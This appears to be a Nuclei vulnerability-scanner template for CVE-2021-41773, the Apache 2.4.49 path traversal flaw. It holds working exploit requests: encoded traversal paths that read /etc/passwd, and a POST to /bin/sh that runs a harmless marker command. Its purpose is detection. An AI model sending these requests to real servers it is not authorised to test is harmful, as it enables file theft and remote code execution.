64 lines
2.5 KiB
YAML
64 lines
2.5 KiB
YAML
id: CVE-2021-41773
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info:
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name: Apache 2.4.49 - Path Traversal and Remote Code Execution
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author: daffainfo,666asd
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severity: high
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description: |
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A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
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remediation: |
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Upgrade Apache to version 2.4.50 or apply the relevant patch provided by the vendor.
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reference:
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- https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782
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- https://nvd.nist.gov/vuln/detail/CVE-2021-41773
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
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- https://twitter.com/ptswarm/status/1445376079548624899
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- https://twitter.com/h4x0r_dz/status/1445401960371429381
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- https://github.com/blasty/CVE-2021-41773
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2021-41773
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cwe-id: CWE-22
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epss-score: 0.97474
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epss-percentile: 0.99959
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cpe: cpe:2.3:a:apache:http_server:2.4.49:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 3
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vendor: apache
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product: http_server
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shodan-query: Apache 2.4.49
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tags: cve,cve2021,lfi,rce,apache,misconfig,traversal,kev
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variables:
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cmd: "echo COP-37714-1202-EVC | rev"
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http:
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- raw:
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- |
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GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
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Host: {{Hostname}}
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- |
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GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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echo Content-Type: text/plain; echo; {{cmd}}
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stop-at-first-match: true
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matchers-condition: or
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matchers:
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- type: word
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name: RCE
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words:
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- "CVE-2021-41773-POC"
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- type: regex
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name: LFI
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regex:
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- "root:.*:0:0:"
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# digest: 490a00463044022077d9f2658579e2d31385ee563368d2f8ccf5cd4aa97a52fbed807a92fdf1dc35022003c0fce668c76ab9568324fd833efee301836972490b3ada96817a33b2d48658:922c64590222798bb761d5b6d8e72950 |